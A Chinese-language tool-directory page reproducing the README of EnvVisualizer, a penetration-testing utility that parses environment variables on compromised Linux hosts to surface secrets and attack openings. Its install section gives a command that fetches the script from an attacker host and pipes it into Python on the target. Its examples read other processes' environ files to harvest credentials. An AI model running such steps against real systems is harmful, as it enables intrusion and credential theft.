Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EnvVisualizer — 解析并可视化被入侵 Linux 主机上的 /proc/self/environ —— 按技术栈（AWS、Django、Rails、NodeJS、MySQL、K8s、Docker 等）对环境变量进行分类，并生成带有严重性评级、可直接运行的命令的洞察。 | Kitploit
工具/GitHubGitHub/w4r10ck423/envvisualizer
防御工具漏洞分析配置审计信息收集后渗透利用CTF渗透测试云安全秘密检测红队
GitHubw4r10ck423/envvisualizer

EnvVisualizer

1965个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

解析并可视化被入侵 Linux 主机上的 /proc/self/environ —— 按技术栈（AWS、Django、Rails、NodeJS、MySQL、K8s、Docker 等）对环境变量进行分类，并生成带有严重性评级、可直接运行的命令的洞察。

查看仓库

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/

在已攻陷的 Linux 机器上解析、分类并可视化 /proc/self/environ。
将一大坨混杂的环境变量文本在几秒内转化为结构化、颜色编码的情报。

Python Platform License Context Author

作者： @W4r10ck423

问题所在

当你进入一台机器并读取 /proc/self/environ 时，你会看到这样的内容：

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer 将其转化为：

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

安装 rich 后，每个类别都会获得自己的颜色编码表格。

功能特性

  • 三种输入模式 — 直接读取文件（完美准确）、通过 stdin 管道输入，或粘贴原始字符串
  • 智能双类解析器 — 正确处理因复制粘贴导致空字节被剥离的拼接字符串；检测大写 POSIX 变量和已知的小写前缀变量（npm_*、node_*、pip_* 等）
  • 六个语义类别 — 安全/认证、身份、路径与目录、NPM/Node、网络/代理、系统及其他
  • PATH 展开 — 每个目录以项目符号列出，而非冒号分隔的一堵墙
  • 密钥检测 — 标记名称或值匹配凭据模式（TOKEN、KEY、SECRET、PASSWORD 等）的变量，并显示 ⚠ 警告
  • 渗透测试洞察面板 — 自动呈现可操作的发现：root 上下文、sudo 提权、暴露的 Node.js 调试端口、活动的生命周期脚本
  • Rich 或纯文本 — 安装 rich 时使用颜色编码表格；作为后备提供干净的纯文本输出（零依赖要求）

安装

选项 1 — 克隆并运行（推荐用于渗透测试环境）

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

选项 2 — 安装为系统命令

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

选项 3 — 单文件投放（无需 git）

将 envvisualizer.py 复制到目标机器或攻击者机器。它以零依赖运行：

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

环境要求

依赖版本必需
Python≥ 3.8是
rich≥ 13.0否（纯文本后备）

使用方法

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

输入模式

方法命令准确性
直接读取文件python3 envvisualizer.py -f /proc/self/environ✅ 完美（空字节分割）
Stdin 管道cat /proc/self/environ | python3 envvisualizer.py✅ 完美（空字节分割）
粘贴字符串python3 envvisualizer.py -r 'USER=dev...'✅ 良好（双类启发式）
无参数（演示）python3 envvisualizer.py✅ 完美（自身进程）

提示： 只要你有文件访问权限，优先使用 -f。
真实文件中的空字节分隔符是精确的——无需启发式。

示例

直接从 proc 读取（最佳准确性）

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

通过 stdin 管道输入

cat /proc/self/environ | python3 envvisualizer.py

粘贴原始字符串（从 web shell / RCE 输出复制粘贴）

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

纯文本输出（无 rich 依赖）

python3 envvisualizer.py -f /proc/self/environ --no-rich

输出类别

变量被分为 12 个类别，按优先级顺序评估（首个匹配胜出）。

类别典型变量
🔐 安全 / 认证SSH_*、SUDO_*、任何匹配 TOKEN、KEY、SECRET、PASSWORD、CREDENTIAL、CERT 的内容
👤 身份USER、LOGNAME、HOME、SHELL、UID、GID
🗄 数据库PG*、MYSQL_*、MONGO*、REDIS_*、DATABASE_URL、DB_*、ELASTIC*、CASSANDRA_*、SQLALCHEMY_*
☁ 云 / 基础设施AWS_*、GOOGLE_*、AZURE_*、ARM_*、DOCKER_*、KUBERNETES_*、VAULT_*、TF_*、CLOUDFLARE_*
🔄 CI/CD 与 VCSGITHUB_*、GITLAB_*、CI_*、TRAVIS_*、CIRCLE*、JENKINS_*、HEROKU_*、BUILD_*
🔌 第三方 APISTRIPE_*、TWILIO_*、SENDGRID_*、SENTRY_*、DD_*、SLACK_*、OPENAI_*、ALGOLIA_*、AUTH0_*
🕸 Web 框架DJANGO_*、FLASK_*、RAILS_*、SPRING_*、ASPNETCORE_*、APP_KEY/ENV/DEBUG、SECRET_KEY_BASE、MIX_ENV、NEXT_*、VITE_*、REACT_APP_*
🐍 应用运行时PYTHON*、CONDA_*、VIRTUAL_ENV、GEM_*、BUNDLE_*、JAVA_*、JVM_*、MAVEN_*、CATALINA_*、GO*、RUST*、CARGO_*、PHP_*、DOTNET_*、PERL*、DENO_*
📦 NPM / Nodenpm_*、NODE、NODE_ENV、NODE_OPTIONS
📂 路径与目录PATH、PWD、*_DIR、*_PREFIX、*_HOME、*_CACHE、INIT_CWD
🌐 网络 / 代理*_PROXY、HOSTNAME、SSL_CERT_*、CURL_CA_BUNDLE、*_URL、*_ADDR
⚙ 系统LANG、TERM、EDITOR、INVOCATION_ID、JOURNAL_STREAM、XDG_*、LC_*
其他其他所有内容，按字母顺序排序

渗透测试洞察

下载工具